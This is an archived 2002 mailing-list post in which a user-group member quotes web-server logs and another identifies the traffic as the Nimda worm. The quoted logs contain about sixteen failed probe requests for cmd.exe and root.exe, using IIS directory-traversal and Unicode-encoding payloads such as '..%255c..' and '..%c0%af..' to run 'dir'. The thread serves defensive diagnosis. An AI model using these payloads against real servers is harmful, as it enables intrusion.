RE: Anyone Else Getting Hits Like This ?

Subject: RE: Anyone Else Getting Hits Like This ?
From: Leif Sawyer (lsawyer@gci.com)
Date: Wed Feb 27 2002 - 08:10:11 AKST

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Next message: James F. Zuelow Jr.: "Re: Anyone Else Getting Hits Like This ?"
Previous message: Kirk McFadden: "Sorry 'Bout That"
Maybe in reply to: W.D.McKinney: "Anyone Else Getting Hits Like This ?"
Next in thread: James F. Zuelow Jr.: "Re: Anyone Else Getting Hits Like This ?"
Maybe reply: Leif Sawyer: "RE: Anyone Else Getting Hits Like This ?"
Reply: Leif Sawyer: "RE: Anyone Else Getting Hits Like This ?"

Looks like nimda is on the loose again..

> -----Original Message-----
> From: W.D.McKinney [mailto:deem@wdm.com]
> Sent: Wednesday, February 27, 2002 7:58 AM
> To: aklug@aklug.org
> Subject: Anyone Else Getting Hits Like This ?
>
>
>
> 209.34.27.7 - - [27/Feb/2002:08:31:47 -0900] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 278
> 209.34.27.7 - - [27/Feb/2002:08:31:48 -0900] "GET
> /MSADC/root.exe?/c+dir HTTP/1.0" 404 276
> 209.34.27.7 - - [27/Feb/2002:08:31:50 -0900] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
> 209.34.27.7 - - [27/Feb/2002:08:31:51 -0900] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
> 209.34.27.7 - - [27/Feb/2002:08:31:52 -0900] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300
> 209.34.27.7 - - [27/Feb/2002:08:31:54 -0900] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe
> ?/c+dir HTTP/1.0" 404 317
> 209.34.27.7 - - [27/Feb/2002:08:31:55 -0900] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe
> ?/c+dir HTTP/1.0" 404 317
> 209.34.27.7 - - [27/Feb/2002:08:31:56 -0900] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1
> %1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
> 209.34.27.7 - - [27/Feb/2002:08:31:57 -0900] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
> 209.34.27.7 - - [27/Feb/2002:08:31:58 -0900] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
> 209.34.27.7 - - [27/Feb/2002:08:31:59 -0900] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
> 209.34.27.7 - - [27/Feb/2002:08:32:01 -0900] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
> 209.34.27.7 - - [27/Feb/2002:08:32:02 -0900] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283
> 209.34.27.7 - - [27/Feb/2002:08:32:03 -0900] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283
> 209.34.27.7 - - [27/Feb/2002:08:32:04 -0900] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300
> 209.34.27.7 - - [27/Feb/2002:08:32:05 -0900] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300
>
>
>
> --
> W.D.McKinney (Dee)
> (907)349-4308 (Office)
> (907)349-2226 (Fax)
> http://3519098920
>
>

Next message: James F. Zuelow Jr.: "Re: Anyone Else Getting Hits Like This ?"
Previous message: Kirk McFadden: "Sorry 'Bout That"
Maybe in reply to: W.D.McKinney: "Anyone Else Getting Hits Like This ?"
Next in thread: James F. Zuelow Jr.: "Re: Anyone Else Getting Hits Like This ?"
Maybe reply: Leif Sawyer: "RE: Anyone Else Getting Hits Like This ?"
Reply: Leif Sawyer: "RE: Anyone Else Getting Hits Like This ?"

This archive was generated by hypermail 2a23 : Wed Feb 27 2002 - 08:10:14 AKST